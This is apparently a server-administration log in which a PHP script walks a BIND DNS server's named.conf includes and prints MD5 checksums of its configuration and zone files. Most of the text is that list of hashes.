MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 19:53:12: Establishing a connection
2026-04-24 19:53:13: 

PUT: /tmp/pkp314808

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 19:53:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp314808; rm /tmp/pkp314808'

2026-04-24 19:53:13: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
